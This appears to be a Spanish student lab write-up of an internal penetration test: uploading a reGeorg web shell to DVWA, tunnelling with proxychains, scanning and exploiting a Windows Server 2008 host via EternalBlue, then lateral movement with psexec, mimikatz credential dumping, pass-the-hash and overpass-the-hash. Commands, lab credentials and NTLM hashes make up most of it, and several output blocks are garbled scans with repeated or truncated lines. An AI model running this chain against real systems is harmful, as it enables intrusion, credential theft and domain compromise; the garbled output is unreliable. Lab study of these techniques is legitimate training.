EJERCICIO 1:

Sin completar

EJERCICIO 2:

Desde la máquina de Kali, accedemos a la web DVWA.

Accedemos al apartado de upload, lo que nos permitirá subir el archivo de **reGeorg** "tunnel.nosocket.php" (https://github.com/sensepost/reGeorg).



Ejecutar el archivo "reGeorgSocksProxy.py" por medio del comando:

python2.7 reGeorgSocksProxy.py -u http://192.168.195.139/hackable/uploads/tunnel.nosocket.php

```
(kali© kali)-[~/Tools/reGeorg]

$ python2.7 reGeorgSocksProxy.py -u http://192.168.195.139/hackable/uploads/tunnel.nosocket.php

... every office needs a tool like Georg

willem@sensepost.com / @\w_m_
    sam@sensepost.com / @kamp_staaldraad

[INFO ] Log Level set to [INFO]

[INFO ] Starting socks server [127.0.0.1:8888], tunnel at [http://192.168.195.139/hackable/uploads/tunnel.nosocket.php]

[INFO ] Georg says, 'All seems fine'
```

Modificar el archivo **proxychains4.conf** para que la conexión se realice por el puerto **8888**.

```
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 8888
```

Una vez realizada la conexión, para enumerar el sevidor de Windows, se utiliza **nmap** por medio de **proxychain**:

proxychains -f proxychains4.conf nmap 192.168.195.140

```
—$ proxychains -f <u>proxychains4.conf</u> nmap 192.168.195.140 -sV -sC -Pn
[proxychains] config file found: proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
```

```
Namp scan report for 192.168.195.140
Host is up (0.000096s latency).
Not shown '990 closed top ports (conn-refused)
PORT STATE SERVICE VERSION
135/tcp open merpc Microsoft Windows RPC
139/tcp open methos-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds 3389/tcp open microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds 3389/tcp open siz/ms-wbt-server?

1 rdp-ntlm-info:
1 Target_Name: ROOTED
NetEIOS_Domain_Name: ROOTED
NetEIOS_Computer_Name: SERVER2008
1 DNS_Domain_Name: rooted.local
1 DNS_Computer_Name: server2008.rooted.local
1 DNS_Computer_Name: server2008.rooted.local
1 DNS_Tree_Name: rooted.local
2 Product_Version 6.6.7913135137-00:00
1 Statest = 2022-06-1213135137-00:00
1 Statest = 2022-06-1213133137-00:00
1 Statest = 2022-06-12131313137-00:00
1 Statest = 2022-06-12131313137-00:00
1 Statest = 2022-06-12131313137-00:00
1 Statest = 2022-06-12131313137-00:00
```

Procedemos a explotar la vulnerabilidad eternalblue.

Por medio de proxychain lanzamos metasploit:

proxychains -f proxychains4.conf msfconsole

Buscamos la vulnerabilidad.

```
Sarcin eternative

[Proxychains] DLL init: proxychains-ng 4.16

[P
```

La elegimos e indicamos la ip del server a atacar.

```
Name Current Setting Required Description

MINISTS
MIN
```

Por último ejecutar con run o exploit.

```
meterpreter > getuid
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
Server username: NT AUTHORITY\SYSTEM
[proxychains] DLL init: proxychains-ng 4.16
```

EJERCICIO 3:

Teniendo las credenciales del usuario **roman** y por medio de **proxychain** y **reGeorg**, se procede a la práctica de movimiento lateral.

CRENDENCIALES

Desde Linux accedemos al sistema Windows por medio del comando:

impacket-psexec rooted/roman:abc123..@192.168.195.140

```
f proxychains4.conf impacket-psexec rooted/roman:abc123..@192.168.195.140
[proxychains] config file found: proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[proxychains] Strict chain ... 127.0.0.1:888
[*] Requesting shares on 192.168.195.140.....
                                                     127.0.0.1:8888 ... 192.168.195.140:445 ... OK
[*] Found writable share ADMIN$
[*] Uploading file QjIUjeTV.exe
[*] Opening SVCManager on 192.168.195.140.....
[*] Creating service RgyX on 192.168.195.140.....
[*] Starting service RgyX.....

[proxychains] Strict chain ... 127.0.0.1:8888 ... 192.168.195.140:445 ...

[proxychains] Strict chain ... 127.0.0.1:8888 ... 192.168.195.140:445 ...

[!] Press help for extra shell commands
                                                                                                                                 OK
[proxychains] Strict chain ... 127.0.0.1:8888 ... 192.168.195.140:445 ... OK [-] Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
Microsoft Windows [Versi◆n 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.
C:\Windows\system32>
```

PASH-THE-HASH

Utilizando mimikatz, obtenemos el hash NTML.

```
sekurlsa::logonpasswords
mimikatz #
Authentication Id : 0 ; 277978 (00000000:00043dda)
                   : Interactive from 1
Session
                    : roman
User Name
Domain
                    : ROOTED
                    : DC
Logon Server
                    : 12/06/2022 19:59:35
Logon Time
                   : S-1-5-21-4001629950-4265076451-4074222949-1104
SID
        msv :
         [00000003] Primary
         * Username : roman
         * Domain : ROOTED

* LM : b7515dc140629d415aacd84cd494924f

* NTLM : 3e45171bc9c91d797d4c561b648ec753
         * SHA1
                   : 7f44ed15c922bc90fae5c4b45dc53e911e9042ad
         tspkg:
         * Username : roman
         * Domain : ROOTED
          * Password : abc123..
         wdigest :
          * Username : roman
         * Domain : ROOTED
          * Password : abc123..
         kerberos:
         * Username : roman
* Domain : ROOTED.LOCAL
* Password : abc123..
         ssp :
         credman :
```

Con el comando **impacket-smbexec** accedemos al sistema Windows.

```
Froxychains -f proxychains4.conf impacket-smbexec rooted/roman@192.168.195.140 -hashes :3e45171bc9c91d797d4c561b648ec753 [proxychains] config file found: proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DtL init: proxychains-ng 4.16 [proxychains-ng 4.16 [proxychains] DtL init: proxychains-ng 4.16 [proxychains-ng 4.16 [proxyc
```

OVERPASS-THE-HASH

Se inyecta el hash en memoria del user que queremos.

```
sekurlsa::pth /user:roman /domain:rooted /ntlm:3e45171bc9c91d797d4c561b648ec753
mimikatz # user : roman
domain : rooted
program : cmd.exe
impers. : no
NTLM : 3e45171bc9c91d797d4c561b648ec753
  | PID 1392
    TID 2784
    LSA Process is now R/W
    LUID 0 ; 1089908 (00000000:0010a174)
    msv1_0 - data copy @ 000000000FCE750 : OK !
kerberos - data copy @ 000000001F26558
    _ aes128_hmac
                      OK
    _ rc4_hmac_nt
     rc4_hmac_old
                       OK
     rc4_md4
                       OK
     rc4_hmac_nt_exp
                       OK
    rc4_hmac_old_exp OK
     *Password replace @ 0000000000FA7AD8 (16) 
ightarrow null
```

Por medio de, por ejemplo, runas /user:<username>@<domain> cmd.exe. Se abriría una terminar con los privilegios de dicho usuario, aun no estando logeado con esa cuenta.